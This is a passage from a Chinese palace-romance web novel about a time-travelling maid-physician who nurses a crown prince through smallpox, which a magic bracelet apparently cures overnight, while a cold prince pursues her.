衣上云这时才试着慢慢睁开来眼睛,只见瓷药碗正好落在自己面前的地板上,只要再多一分,便会擦到自己的身体将她割伤。 再抬头一看轩辕昊,只见他坐在榻边两眼甚是惊讶,呆呆地望向寝殿门口怔着,随后张口道“秦皇叔,你...你怎么进来的,父皇不是下令已经将东华宫隔离封锁了吗?” 于是,衣上云亦是闻声急急回头,一回首便与轩辕翰那双冷厉的眼神和冰凉渗人的面孔撞了个正着。这个表情真的很有杀伤力,衣上云顿时只觉得自己血薄,不敢直视,速速低下头去行礼道“奴婢给秦王殿下请安”。 然而,轩辕翰面对着眼前这俩人均面不改色,亦对谁都没有说一句话。 此时,不怒而威的他墨发全束身着一袭黑衣站在寝殿门口,身姿伟岸挺拔,俨然一副神邸。黝黑深邃的双眸朝着眼前的境况凝视了片刻后,深吸一口气。接着大步上前朝着衣上云面前走去,而一上前,便狠狠捉起她的一只胳膊拽了便转身往殿外而去。 衣上云始料未及,万分惶恐竭力从他的大手中拼命挣扎着“殿下,您这是要带奴婢去哪儿?殿下,您不能来这里,殿下身份贵重不比奴婢,这里还很危险?殿下,您刚大婚不久,这样拉着奴婢要是被别人尤其是王妃娘娘知道了......” 忽然,轩辕翰收住脚步一个急转身回头过来与衣上云四目相对打断了她,而手却依旧紧紧握着她的手一点都未松开,就像是怕他松开后就再也握不到了似的。 只见本就冷厉的眼神此刻更加重了几分,竟似是愤怒地轻咬起了嘴唇。 可明明他那脸上和眼中全尽是怒着的,却在眼睛迅速的一个扑朔过后,用力一把将这面前如同一只惊弓之鸟的瘦瘦小小又软软的身子,完完整整的紧紧拥入自己宽大温暖的怀中。 “殿下...不要”衣上云瞪大了眼睛,倒吸着一口气惊道,似是本能的急急伸出那瘦弱的两只小手拼命想要挣脱他的怀抱,但就以她的力气,又如何能撼动得了正值血气方刚之年华的轩辕翰此时的一腔热情。 他一路隐忍着,预备了无数种见到这个女人后要如何处罚她的方式。可如今一见到她,他才知道方才的那些招数竟都一个都用不上了。 只要她当面一个真实的拥抱,足以平息他所有胸中的怒火。 忽然,轩辕翰含情脉脉地在她耳边轻唤道“让本王抱一会儿,就报一会儿...” 闻此,衣上云终于不再挣扎,竟突然间安静了下来,随即将两只小手缓缓放下后紧紧捏着自己的衣角,眼睛也瞬间变得温柔了起来。 她想,此刻的她该是傻掉了吧,竟突然有些贪婪起这个怀抱来。只是为什么会对这个怀抱有种似曾相识的感觉呢?这个怀抱,是那样的熟悉,似是已经历了几生几世。 轩辕翰觉察到她的放松,也终于吸了口气,又将她拥的更紧了一些,而她亦是听话乖乖地依偎在他的怀里。 此时的俩人亦像是在互相取暖,彼此慰藉着潜藏在各自内心最深处的那份孤独和寂寞。 而这一幕,恰好被在殿内凭窗而立的轩辕昊,透过窗棂看的清清楚楚。 此刻,他瞪大着双眼,简直不敢相信自己的眼睛,口中自言自语道“本太子那一向睥睨天下、万年冰山、不近女色的秦皇叔,竟也能如此深情。可那是一个如此卑微身份的小药女而已,还是个丑女” 定睛思量了半晌,随即又喃喃道“臭丫头,竟敢诓骗本太子说与秦皇叔不熟,不熟会被如此一向冷漠的秦皇叔这样怜惜的抱着。哼...看本太子等会儿如何收拾你” 窗外,轩辕翰终于依依不舍地将怀抱松开来,释放了怀中正一脸尴尬低头傻愣着的衣上云。 轩辕翰对她着实很心疼,但此时他已然恢复了平日里冰冷的声音问道“太子的病情如何了?” 衣上云听到这才抬起头来回答“太子的病情控制的很好,除夕前肯定可以痊愈,殿下放心” 轩辕翰听她亲口这样说,心里也算是安心了许多,毕竟他内心也还是极疼爱这个孩子的。便朝衣上云说“你做的很好” 衣上云却忽然眉毛上扬,一脸欣喜地说“这是东华宫和太医院所有人齐心协力的功劳,也是太子殿下的福气” 轩辕翰再次认真的看了她一眼:她的眼里充满的尽是医者善良的仁爱之心,这颗心让她全身都散发出耀眼的光芒,恍若爱神般怜悯爱护着世间众生。 最后他留下一句“衣药女,不要忘记对本王的承诺” 承诺?衣上云心里想着,上次在风华宫为了求助轩辕翰帮助轩辕玥,她曾许诺他:如果他帮轩辕玥得偿所愿,有情人终成眷属。那她的身,她的心生生世世都将会只属于轩辕翰一人。 “难道,他真的要...自己真的逃不掉了?”衣上云口中喃喃着。 想着想着便又陷入了沉思,而轩辕翰则走了过来到她身边贴耳柔声说了句“这辈子,你都别想逃了” 衣上云听了眼睛一怔,一脸惊愕地急急抬头,从侧面看着他冰冷深邃的眼睛,而这眼神里满满的都是坚定、霸道、竟让她心里不由得紧张和害怕...... 说完,轩辕翰便匆匆踱步离去。望着他离去的背影,衣上云久久站在原地不得动弹,不知所措着。 “衣药女,原来你在这儿啊,你赶快过去看看吧,太子殿下出事了”紫嫣满头大汗急急忙忙跑过来说道,衣上云听了立马醒过神来往东华宫太子寝殿跑去。 “太子殿下,不能抓,千万不能抓啊”衣上云刚进去便看到寝殿门口跪着一地的宫女太监太医们,齐齐都在朝殿内的轩辕昊苦苦哀求着。 “抓或不抓,如今结果有何不同,你们这些奴才骗子,都是骗子。你们以为本太子真的不知,这天花痘疹的疤痕根本就好不了,本太子注定了这一生都容颜尽毁,活着还有什么意义?” 轩辕昊站在殿内,一手撑在搁置着一面铜镜的桌案前瑟瑟发抖,发狂地怒吼着。时不时竟还伸手去到处瘙着身上的痛痒之处。寝殿内地板上,瓷器瓶罐碎了一地。 “好了,这里交给我吧,你们都快出去吧”衣上云看见急急进去先催促着,让众人赶快离开这个尚且还并不安全的地带。 “衣药女,你自己也要当心呢”紫嫣蹙眉忧心地关切,一旁的张致远竟亦是让她意外地露着些对她的担忧之态。 “放心吧,都赶快出去吧”在衣上云不断的催促下,众人终于都散了出去。 一时间,寝殿内就剩下轩辕昊与衣上云俩人。 第五十三章:恐非天灾,而是人祸 众人散去,一时间,寝殿内就剩下轩辕昊与衣上云俩人。 只见衣上云深吐了一口浊气,似是尝试在打起精神来。随后便挪开步来朝着轩辕昊身边走过去,弯起腰捡拾起地上的瓷器碎片。 面对轩辕昊此时如此激动的情绪,她却不紧不慢地一边捡碎片一边说道“殿下心中不悦,又为何要如此无辜的迁怒于这些可怜的下人呢?” “住嘴,你这个骗子,你还不给本太子快点儿滚出去,本太子再也不想见到你”轩辕昊听了仍满腔愤怒气急败坏地朝衣上云怒骂道。 衣上云这才渐渐起身来,一脸平静的对他说“太子殿下不幸染上天花病毒,但可知在这偌大的皇宫里,却只有外面院子里这些个奴颜婢膝之人,整日里冒着性命之忧在无微不至的照顾着殿下,他们个个都翘首期盼着殿下能够早日平安痊愈呢。正所谓,己所不欲勿施于人,殿下心有怨气,又怎忍心将其撒到这些对殿下以命相伴忠心耿耿之人的身上” 看到轩辕昊有些安静了下来,衣上云心想,他毕竟还只是个孩子而已,心中又怎会真的想要迁怒于别人。 于是便接着道“殿下既然如此这般厌恶看到奴婢的这张脸,那奴婢这就马上离开,重新安排新的婢女进殿内来侍候,还望殿下莫再动怒伤及贵体” 说完,衣上云便拿着从地上捡拾的瓷器碎片转身要出殿去。轩辕昊看见连忙紧张的发声却吞吞吐吐的道“不要,本太子...只要衣药女殿内侍候...本太子答应你今后不再随意发怒便是” 这时,只是刚刚转身还尚未迈开步来的衣上云,听到轩辕昊这句话,小嘴微微抿起轻轻眯了下那双好看的凤眼,随即便露出一丝倍感欣慰的笑容来。 紧接着,她转回身去缓缓走到轩辕昊的身边,对着轩辕昊的眼睛信心满满地说道“殿下放心,奴婢一定不会让殿下的脸上留下任何痕迹的,请殿下一定相信奴婢,好吗?” 轩辕昊此时亦是被她真诚而又坚定的言行感动,竟亦是对她信心满满地回应道“本太子相信你,一直都相信你” 俩人对视,都朝着对方微微笑着,衣上云这才劝道“殿下还是好好卧榻休息吧,这些红疹切莫再抓伤了,以防感染” “那衣药女答应本太子,在榻边一直守着本太子,本太子不想一个人躺在这空荡荡冰冷的寝殿里,有时候竟会担心害怕一睡去会不会再也醒不来...”轩辕昊一脸忧郁向衣上云哀求道。 “奴婢不走,奴婢陪着殿下便是,殿下放心”衣上云温柔的应允。 轩辕昊终于安静地在榻上躺了下来,衣上云轻轻替他捻好被角便信守承诺坐了下来,守在旁边陪驾。 这时一直凝神看着衣上云脸孔的轩辕昊忽然说道“其实本太子方才不是真心要发怒的,本太子只是想逼你离开,本太子怕将这天花病毒传染给你。你很善良,本太子知道衣药女你故意将东华宫所有的奴才都拒之门外,只独自一人冒着被传染的风险尽心尽力整日整夜的在殿内侍候着,本太子真的很怕你被传染” “殿下,虽然天花极易被传染,但是奴婢自会多加留意,殿下尽管安心养病便可”衣上云满是惊讶而又倍感欣慰地回答,他果然是个纯善的孩子,没有枉费自己的费心照顾和付出。 然轩辕昊接下来的话更是让她大为吃惊“本太子怕你被传染,更多是为了...为了本太子的秦皇叔” 衣上云听见,顿时眼睛一怔看了一眼轩辕昊又连忙慌乱不知所措地低下头红着脸颊,心里喃喃“难道刚才秦王殿下强行...被这个孩子瞧见了。可我不久前还跟他说与秦王并不相熟的,这会儿又该怎么解释,真是被这个王爷害惨了” 轩辕昊看到衣上云的紧张与慌乱,然他却继续说“你可知,本太子的秦皇叔原本并非如此冷漠凉薄之人吗?那都是因为......” 衣上云却忽然急急打断轩辕昊的话道“太子殿下,奴婢真的跟秦王不是很熟,更不敢试图了解秦王殿下,之前数次交集也只是机缘巧合而已。奴婢身份卑微,不敢对皇族之人存有丝毫越过本分的念头。而且秦王殿下刚刚大婚,如果传出什么对他不利的流言蜚语来,奴婢怕是万死难辞其咎” 轩辕昊见她说话如此大方得体、心胸坦荡、直言不讳、心思细腻,便道“难怪我俾睨天下的西秦秦王,会对你这样一个身份卑微姿色平平的婢女如此在乎。不过,本太子倒是真希望你们不是我想的那样,否则恐怕那东宁公主......” 轩辕昊欲言又止,他当然知道他的皇叔府邸里,现在已然有了一位尊贵无比的王妃,如此一来即便有朝一日眼前的她幸得皇叔恩宠将其纳入府里,那也依然要看着比她身份尊贵百倍千倍的东宁国公主的脸色过活,而眼前的这名很有主见的女子显然不是那种会逆来顺受之人。 “当然不是太子所想的那样”衣上云急急肯定着,生怕被他误会。 城东秦王府里。 梅汐媛见轩辕翰回府,急急朝着走过去柔声关切道“殿下回来了,不知太子如今病情如何了?” 轩辕翰没有看她,只顾自己往承华殿而去,后面的程良见了忙向其行礼回道“王妃娘娘,太子殿下的病情已被控制,王妃娘娘无须担心” “那便好,殿下他这是......”梅汐媛欲言又止,她自以为轩辕翰还在为之前自己所做的种种而恼她,却并不知她对于轩辕翰来说,根本就不存在任何意义。 程良对此只是轻轻抿嘴一笑一副无可奈何和无可奉告的样子。 等程良帮主子应付好了这个女主子,到了大殿的时候,轩辕翰已经坐在书案边拿起密函一一拆开来审阅。见程良进来,他将手中的密函递给他。 程良一见密函里的内容,立马脸色变得阴暗起来读道“北烈国大皇子拓跋泽已成功混入我西秦市井之中,并得毒蛊术高人相助,殿下.......” 程良还没说完,轩辕翰先他开口道“照此看来,如果本王没猜错,太子的这次天花怕是...恐非天灾,而是人祸” “人祸...那此人究竟用意何在?如果他知道了行动失败,还会不会找我西秦其他人下手?”程良急急问。 “全城搜捕,小心行事,切勿打草惊蛇”轩辕翰亦满脸担忧地下令。口中喃喃着“毒蛊术高人......” 程良领命却没有离去,轩辕翰忽然抬眼发现他尚还立在大殿之中。便问“还有何事?” 程良便眼睛向着轩辕翰,试图小心翼翼地问道“殿下既然去了宫里,为何不将衣药女带出东华宫,那里此时甚是危险,一旦被传染,那她......” 程良说着想着都不敢继续往下说了去,便停了下来。 轩辕翰听了后端坐起来,深吐一口浊气缓缓说道“本王相信她,她一定不会对本王食言。元宵节过后她一定会安然无恙的迈入秦王府的大门” “那殿下当真要衣药女进王府来侍候王妃娘娘?”程良接着关切地问,然轩辕翰并没有作声,只将一双深邃不见底的眼眸望向窗外。程良见此便作罢,悄悄退了下去将门掩好。 轩辕翰心想,梅汐媛显然只是富甲一方的东宁国,安插到西秦的一个细作而已,但如今在众人眼中,她却只单纯的是秦王府的秦王妃。而衣上云...... 是夜,承华殿里一室寂静,轩辕翰的思绪却越来越长。 ...... 光阴似箭,日月如梭。 转眼半月时间已经过去,眼看着再过几日便是新年了。民间和西秦皇宫内,人们都早已开始忙年了,到处都洋溢着热闹喜庆的气氛。 东华宫内,轩辕昊的天花痂盖已经开始自然脱落,尽管他觉得很痒极难承受,但在衣上云的规说下他还是坚强的隐忍着,身上到处留下的疱痕确实让人一看便触目惊心,但是还好在寝殿里,也只有衣上云一人看见。 自从上次轩辕昊在铜镜中看到自己的吓人模样后,衣上云便将所有铜镜遮盖住让人收了起来,不让他再有任何机会接触铜镜,伤及信心。 年底里,这天气也愈加的寒冷,然东华宫内却始终温暖如春。 衣上云日夜里不辞劳苦细致入微的照顾着轩辕昊的生活起居,少了太多的修养,她的腿疾又开始隐隐作痛了,此刻正在坐榻上吃力地揉捏着那一双酸痛至极的膝盖。 “你的腿怎么了,年纪轻轻为何便成了这般模样?”轩辕昊看见疑问道。 衣上云听见,匆匆整理好衣摆起身过去轩辕昊身边,帮其盖好锦衾微笑着说“奴婢没事,夜已经深了,殿下快早些就寝吧” “衣药女,你再给本太子讲些故事吧,本太子现在还不想就寝”轩辕昊有些任性地要求道。 衣上云听了叹了口气,随后便无奈地问“那殿下这次想听怎样的故事呢?” 轩辕昊忽然听到从外面传进来让自己心中有些隐隐作痒的响声...... 第五十四章:浩瀚星空,璀璨烟花 “衣药女,再给本太子讲些故事吧,本太子现在还不想就寝”轩辕昊有些任性地要求道。 衣上云听了叹了口气,随后便无奈地问“那殿下这次想听怎样的故事呢?” 轩辕昊忽然听到外面一阵隐隐约约似是炮仗燃起的声音,心中甚是作痒。便道“快过年了,衣药女就跟本太子讲讲宫外平常百姓家的孩子是如何过年的,可好?” “嗯...普通百姓家孩子如何过年?”衣上云歪着脑袋口中喃喃,轻咬着那张绵柔的红唇。她这还是自从穿越到这个时空里第一次过年呢,原主的记忆里还真没留下这个,许是原主的童年里并不怎么快乐吧。 她怎么会知道在这个千年前的国度里平常百姓家的孩子是如何过年的呢?也许和21世纪里差不多吧?! 她灵机一动,忽然想起了21世纪里她小时候,大西北家乡的一首忙年歌,应该也都差不多应有尽有的将新年的活动都囊括其中了吧。 于是,便对轩辕昊说“奴婢读一支民间孩童的过年谣给殿下听吧,听了后殿下自会知道平常百姓家的孩子是如何过年的了: 二十三,灶王老爷上了天; 二十四,刷下对子写大字; 二十五,家家户户糊窗户; 二十六,上街去割过年肉; 二十七,全家老小都洗脚; 二十八,糕儿馍馍两笸箩; 二十九,提上壶壶灌烧酒; 年三十,供上祖宗摆上肉。 殿下,怎么样?”衣上云认真地回忆读完后,便满脸欣喜地问床榻上的轩辕昊,她已经有二十几年没有读过这支过年谣了,真不敢相信自己都还能记着。 然而,当她将目光垂下去再次看轩辕昊的时候,发现他不知何时竟早已安睡了去。于是,便微笑着摇摇头起身帮他轻轻捻好被角,撒下幔帐,踮起脚轻轻退出了大殿,来到外面幽静空旷的宫苑里。 大殿内很暖、宫苑外很冷、寒风刺骨、衣上云随即裹紧了棉衣。 恬静的冬夜,繁星点点争相辉映着,镶嵌在这浩瀚无边的天幕上,犹如一个个虔诚的愿望挂满深邃的夜空,等待着被点亮。 早就听说一年里,冬季的星空最为壮丽,是亮星最多的季节。今日一见,果然如此震撼。 衣上云抬头看着这大自然的神奇,不禁感叹道“真如康德名言所述,我们头顶上灿烂的星空果然能够深深震撼我们的心灵” 而就在这时,她手腕上的七彩金丝彩玉镯子似是感应到了什么似的,竟再次现出一个极其闪亮的血色纹路,细细看着像极了是一个字,似是一个“百”。 然就如同前两次一模一样的,血色纹路亦是昙花一现,瞬间消失,接着七彩金丝彩玉镯子又恢复了原状。她小心翼翼地将它摘下来,拿在手中细细端详着,顿时心生疑虑“这到底是在暗示什么呢?难道是系统里的什么指令符号?” 就在她陷入沉思之际,忽然从宫外不远处东边天幕下燃起一阵闪耀的烟花,甚是璀璨夺目,似是要升入这夜空中与繁星融为一体。 她仰起头,眼睛扑朔着,嘴角微微上扬对着漫天盛开的烟花露出好看的弧度,透过脸上遮盖着的轻薄面纱朦朦胧胧,显得那样唯美而又动人。 这场盛大的烟火,不是别人,正是秦王轩辕翰的杰作。他也不知道为何今夜他要出来在这郊外的空旷地上燃起这堆声势浩大的烟火。 程良依命点燃了所有烟火后,缓缓朝着主子走过去自行领会,朝轩辕翰说道“殿下,这场华丽的烟花,衣药女一定能看到” “多嘴”轩辕翰此时亦是同样望着这浩瀚星空,璀璨烟花。听到程良的这句话一脸冰冷地训斥道。 东华宫里,衣上云从寒冷的宫苑刚回到了暖烘烘的寝殿里,手里依旧拿着那个七彩金丝彩玉镯子一脸不解地寻思琢磨着。 突然耳边一个熟悉的声音响起“你手里拿的什么东西?” 衣上云这才抬眼一看,原来是轩辕昊醒了,便走过去急急道“殿下怎么醒了,哦......殿下一定是被刚才外面的那场烟花燃爆声吵醒的对吗?也不知是哪个讨厌鬼这么晚了还如此声势浩大的燃放烟花,真是讨人厌” 衣上云刚刚明明还对这场绚烂的烟花喜欢地不得了,此时进来一看到轩辕昊被吵醒斜靠在榻边便如此犀利的谩骂起来。 “本太子根本就没有睡,好不好?”轩辕昊道。 听到轩辕昊这话,衣上云顿时一愣甚是尴尬又一脸无辜的说“太子殿下这是为何?那奴婢刚刚跟殿下讲话,殿下为何闭目不答呢?” “本太子只是见衣药女太辛苦,想让你早点歇息,却不想这么晚了外面天寒地冻的你竟还跑出去。外面的烟花很好看?” 轩辕昊此时俨然像个小大人一样尤为关切地说着问着,衣上云难掩方才心中的喜悦急急眉飞色舞地答道“殿下,外面好看的可不止是烟花,还有只在冬日里才独有的满天繁星,一闪一闪,甚是耀眼夺目。等殿下病愈可以出门了,奴婢陪殿下一起看,可好?” “好,本太子等着......你手里拿的什么玩意,看的如此痴迷,也给本太子瞧瞧”轩辕昊看着衣上云拿在手中的手镯便伸出手也想要来看看。 “哦,这不过是个入不了殿下眼的镯子而已,太子殿下想看尽管拿去看便是”衣上云说着便大方地将镯子递到轩辕昊手中。 “金丝玉镯...集天地日月之精华,藏乾坤万物之灵气,佩戴可祛病除疾。想不到衣药女还有这等宝贝”轩辕昊接过镯子仔细看了看,惊讶地对衣上云说道。 “殿下,实不相瞒,这个玉镯是一个对奴婢很重要的人送的,原本并不属于奴婢”衣上云急急解释。 “很重要的人?...意中人?”轩辕昊斜着眼睛打趣她道。 “殿下......”衣上云有些难为情亦不知如何解释,欲言又止道。 轩辕昊见她这副神情,便饶了她不再追问,于是说道“既然这个镯子佩戴可以祛病除疾,那衣药女可舍得借本太子几日?” “当然可以,但殿下...殿下务必小心,不要再动怒给奴婢扔了,殿下用完务必归还奴婢,奴婢真的很在意这个玉镯。或许未来有一日,奴婢还要将此玉镯还给那人”衣上云有些担忧地说。 “那就这样说定了,等本太子病好了,一定会加倍还你”轩辕翰顽皮而又似诚意满满的说着便把玉镯套在了自己的手腕上端详起来。 片刻后,轩辕昊方才还一直表情丰富的脸却忽然沉了下来,似为很慎重地对衣上云说道“衣药女,本太子...想看看自己的脸” 衣上云欢喜的容颜顿时愣住转为忧虑,说“太子殿下......”,然话未说完她迟疑了片刻,终究还是过去拿了那面已被一方宝蓝色锦布遮掩许久的铜镜,心情忐忑着走到轩辕昊的面前。 只见轩辕昊低着眼,表情凝重,双手紧握成拳,而片刻后又缓缓松开来,似是鼓足了勇气般慢慢抬起头向面前衣上云手中的铜镜里看去。 镜中再也不见了往日里那满脸英气的少年,取而代之的是一脸痂皮脱落后遗留下的麻斑,和他整日里看到的自己四肢上的疤痕一模一样,密密麻麻,触目惊心。 轩辕昊看着看着竟咬牙切齿地发起抖来,终究忍不住一怒之下,迅速伸出手去一把狠狠将衣上云手中的铜镜打落在地,撞击到地板上破碎了一地,发出清脆的“噼里啪啦”的声音。 随即,他开始撕心裂肺的抱头痛哭呐喊起来“不要,为什么,为什么...为什么本太子会成这个样子” 衣上云看到他现在失控的样子,亦是心痛无比,她赶忙坐到榻边用自己微弱瘦小的身躯和怀抱紧紧抱住眼前这个可怜的孩子,眼里含着泪水激动地对他说“太子殿下...不要难过...会好的...一定会好的...云儿一定会有办法帮助殿下...一定可以” 轩辕昊亦是同时抱紧了衣上云,寝殿里俩人紧紧拥在一起,双双落泪,痛不欲生...... 终于,轩辕昊哭累了趴在衣上云瘦弱的肩上安静睡了去。她再次帮他捻好被角,撒下幔帐。 擦干了泪痕,心情沉重地对着沉睡中的轩辕昊说“如此真诚善良的一个孩子,却因为生在了帝王家,从小便要面对和承受各种内忧外患,防不胜防,终成了众矢之的”。 随即便叹气摇了摇头,起身来一片片开始收拾那一地的铜镜碎片,心想着:毒医本一家,本都应以救济苍生,医死扶伤为己任,而今却成为争夺天下皇权势力的附属品,她深深蹙眉心里愤愤不平着。 忽然,她眼睛一怔,像是想起了什么似的迅速收拾好铜镜碎片后,便急急走过去在轩辕昊的病榻边。 七彩金丝彩玉镯子此刻正安静地套在这个少年的手腕上,睡梦中的少年一脸恬静,她真希望时光永远定格在这一秒,此生惟愿眼前的这个孩子再也不要受到任何伤害。 她看得入了迷,缓缓坐了下来一手撑起下巴,端详眼前正在酣睡着的少年,另一手轻轻伸出去触摸着轩辕昊手腕上的金丝玉镯,口中喃喃道“手镯啊手镯...... 第五十五章:是奇迹,而非梦游 衣上云凝视着榻上熟睡着的轩辕昊看得入了迷,最后缓缓坐了下来用一手撑着下巴,其臂肘支在榻沿,眼神温柔地继续端详起眼前正在酣睡着的少年。随即伸出另一手轻轻触摸着轩辕昊手腕上的七彩金丝彩玉镯子,口中诚挚地喃喃乞求“玉镯啊玉镯,你强大的功能到底何时才能开启为我所用?在这个时空里,也只有你才有这个能量...请帮帮这个可怜的孩子吧” 不知不觉间,衣上云终于也满是疲惫地打起盹来,没一会儿功夫便就这样趴在轩辕昊的榻沿边沉沉的睡了过去。 冷风凄凄、长夜漫漫、有人相伴,日子总是过的飞快。 待到天微微亮的时候,衣上云总能依照自己良好的生物钟准时清醒,此刻她正睡眼朦胧地醒过来。 显然趴着睡让她感到十分难过,只见她一边迷迷糊糊地揉着那对好看的凤眼一边散漫地打着哈欠,慢慢端坐起来伸展着浑身筋骨。忽觉脖子有些僵硬,脸上便露出了极为不悦的表情,随即握起一只秀拳来轻轻朝着后颈部敲了过去。 一不小心那对凤眼落在了榻上尚还在睡梦中的少年脸上,忽然一时间里竟激动地说不出话来。 “殿...殿...殿下...殿下你的脸...你的脸...”她太惊讶,太意外了,竟不由得结巴了起来。 “我的脸...本太子的脸...脸怎么了?”轩辕昊原本并未真的睡着,只是不忍心早起让衣上云早早便开始忙碌而装睡着。然却被她此时的急呼声惊坐起来,亦是被她此时甚是夸张的诧异表情惊到。 衣上云根本说不了话,只急急起身来朝着殿外狂奔而去,留轩辕昊独自一人惊慌失措的端坐在榻上一脸的懵,不知到底自己脸上发生何事。 “紫嫣,紫嫣”衣上云一出殿门,便欣喜若狂地叫喊着。 “衣药女,发生何事?如此慌张”紫嫣听见焕她,急急向衣上云大步过来道。 “快,快拿铜镜,太子...太子殿下他...他的脸痊愈了,而且...而且一点疤痕都没有”衣上云太过意外,至今还在结巴着。 紫嫣听了,亦是大惊又不敢相信,便连忙转身回去取了铜镜过来递给衣上云,一旁众人都听见了这个奇迹般振奋人心的消息,亦是全部都朝着寝殿里蜂拥而去,要亲眼见证这个历史性奇迹发生的时刻。 向来天花几乎就是绝症,能保住一条性命已属不易。而今一大早,却从衣上云的口中得知太子殿下不但保住了性命,竟连天花过后必留下的满脸麻斑都消失的无影无踪,这怎能不让人兴奋,怎能不算是奇迹呢?! “该不会是衣药女一大早在做梦,梦游了吧”旁边人群里有人悄悄怀疑道。 然衣上云只顾拿了铜镜后急急入了寝殿,来到轩辕昊身旁微笑着双手捧着那面铜镜竖在他面前道“殿下快看” 轩辕昊一直都担心着不知他的脸上究竟发生了何事,如今只看到衣上云一脸的欣喜之态,还有这忽然蜂拥而至的满大殿的宫女内监。随即便带了些许怯怕的心情,缓缓朝她手中的铜镜里看去。 “本太子的脸...本太子的脸真的...”轩辕昊亦是此时不敢相信自己的眼睛,只看到衣上云站在他面前捧着铜镜,抿着嘴唇高兴地眼里竟然噙满了泪水,眼睛扑朔迷离地点着头向轩辕昊肯定着他的所见。 殿内众人亦是个个都瞠目结舌,喜极而泣地一边看着轩辕昊一边抹着泪水,方才还悄悄怀疑是衣上云在梦游的奴才此刻用两只手拼命的揉着眼睛...... 整个东华宫被隔离的人,大半个月的日日夜夜痛苦煎熬、担惊受怕、人心惶惶、终于得到了今天奇迹般的结果。 轩辕昊竟不顾身份,连忙掀起身上的寝衣,衣袖,裤腿来...,只见昨日里还到处密布着的痂皮脱落后遗留下的密密麻麻,触目惊心的天花麻斑,竟在一夜之间全部都不见了踪影,一点痕迹也找不到,宛若这天花从来都未曾光顾过他似的。 顿时,轩辕昊眼里亦是充满了泪水,欲想要流下来。衣上云见了急忙将手中的铜镜递给一旁的紫嫣,拿起衣袖中的“云”字丝帕赶紧上前帮轩辕昊擦拭掉温和劝道“殿下,男儿有泪不轻弹” 轩辕昊听了后注视着衣上云的眼睛,用力抿起嘴来隐忍。 这时,张致远匆匆上前一脸严肃的替轩辕昊细细把脉。片刻后亦是顿时满脸大惊,笑道“恭喜殿下,贺喜殿下,殿下脉象平稳缓和,确已痊愈” 伴随着张院判的这一最终宣告,所有东华宫的奴才太医们包括衣上云在内全都通通下跪叩首道“恭喜太子殿下大病痊愈” “对了,赶快去通知皇上和皇后娘娘,快...”刚一起身,紫嫣一边拭着眼角的泪水一边命身旁的奴才赶快去传话。 此时,所有人终于不约而同地摘下了挂在脸上已大半个月,憋闷的似要快让人窒息的面巾来,深深地呼吸起这殿内自由的空气,人人脸上都洋溢着发自内心最灿烂真挚的笑容,欢呼雀跃着。 朝华宫里。 皇后正满脸失落地对身旁的轩辕玥道“眼看这年关将至,再过两日便是除夕夜了。这几年母后对你皇弟是日盼夜盼,终于盼到他回宫来,岂料他一回来便遭此大难。早知如此,还不如让他不要回来,至少在外人是好端端的,不像如今这般身心饱受折磨,可怜他还只是个不足10岁的孩子......” 说着,皇后甚是自责地流起伤心的眼泪,于是便再也说不下去了,轩辕玥看到心里亦是感到极为无奈和心酸。 正在这时,门外慌慌张张奔跑进来一个陌生脸孔的太监,进门的时候许是慌张亦或胆怯,竟差点被门槛绊倒。 然依旧踉踉跄跄的疾跑进大殿来“扑通”一声跪倒在地,随之见他又惊又喜结结巴巴道“奴才...奴才是...是东华宫太监...启禀皇后娘娘...玥公主殿下...” 一听到太监自报是东华宫来的,皇后和轩辕玥一同急急站起身来,轩辕玥先于皇后瞪大了眼睛急急问道“东华宫究竟发生何事?还不快禀” 皇后竟连忙走下来朝那太监身边走去“是不是太子他...大胆奴才,你们都是怎么侍疾的。不可能...不可能...我的皇儿” 皇后几乎都等不及听那太监把话说完,便随着自己多日以来心里的担忧,竟断定轩辕昊已经无力回天散手人寰了,立刻痛哭起来。 就在此时,那太监一急之下迅速地一气呵成“不是的,娘娘。张院判刚刚替殿下把脉已经确认,太子殿下的天花已经痊愈,而且浑身上下没有留下一点麻斑,太子殿下安然无恙” “什么” “什么” 轩辕玥和皇后惊讶地异口同声道。 “摆驾东华宫”皇后听了立马下令,轩辕玥亦是急急忙忙跟着前往。 东华宫内,奴才们跪了一地齐齐大呼“参见皇上,吾皇万岁万岁万万岁” 璟帝低着眉一脸严肃地朝面前众人道了句“平身” 接着他端起一张冰冷的面孔看向一旁的张致远,似是很无奈的轻叹了口气,双手负后着对其道“张致远,太子果真痊愈了?” 张致远急忙起身上前到璟帝面前恭恭敬敬地回道“启禀陛下,千真万确,太子的天花已然痊愈,且全身上下未留下一点痕迹” 然璟帝却道“这怎么可能,自古谁人不知染了天花就如同得了不治之症,就算侥幸保住一命,那也是必要留下一脸麻斑容颜尽毁,怎么可能一点痕迹都没有?你该不会是又诊错了吧?” 张致远亦是不知该如何解释发生在自己眼前的这个奇迹,只道“微臣亦是对此颇为不解,许是太子身为人中龙凤,自有上天垂怜与庇护,才得以逃过此劫” “你...真是一派胡言,你这个院判,真的是......你给朕在殿外跪着,好好反省反省,朕待会儿再来好好治你的罪” 璟帝对张致远显然已经很不耐烦了,上次误诊的帐还未来得及跟他算,心想先安排他替太子诊治,戴罪立功,而眼下又对他的疑惑如此搪塞地作答。 无奈,璟帝只得气哄哄的移步往寝殿内进去亲自查验。而此时,张致远才连忙捉起衣袖来擦拭起鬓角早已渗出的冷汗并领旨乖乖罚跪在东华宫殿外。 见璟帝进来,轩辕昊和衣上云连忙过去跪拜。 “儿臣参见父皇” “奴婢参加皇上” 璟帝忙伸手出去拉住轩辕昊的手来,将其扶起关切道“起来吧,皇儿受苦了” “是儿臣不孝,让父皇担忧了”轩辕昊一边起身一边对璟帝深情的说道。 等到轩辕昊完全起身抬起头来,璟帝这才仔细地定睛打量起轩辕昊的脸“皇儿果真已经痊愈,似是...也并无留下丝毫麻斑” 轩辕昊亦是兴奋的急急道“父皇,儿臣能得已痊愈,这全是依赖衣药女的功劳。父皇有所不知,她日日夜夜不离儿臣的视线,不辞劳苦、极尽所能、无微不至地鼓励和照顾儿臣。儿臣这才得以迅速痊愈,父皇一定要重重的赏她才是” 璟帝听了轩辕昊这席话,心想:眼前这女子果然非同一般,不但交好了朕的公主不算,这会儿竟连初次见面的朕的皇子也都极力维护她。看来...这女子可真不容小觑。 但是他还是得顾及轩辕昊的面子,于是便道“既然太子都亲口为你请赏,那你想要什么赏赐,尽管说来” 轩辕昊急急回头看向衣上云,悄悄对其挤眉弄眼暗示她不必客气尽管开口。 然而却听到衣上云说了句...... 第五十六章:人命至重,贵若千金 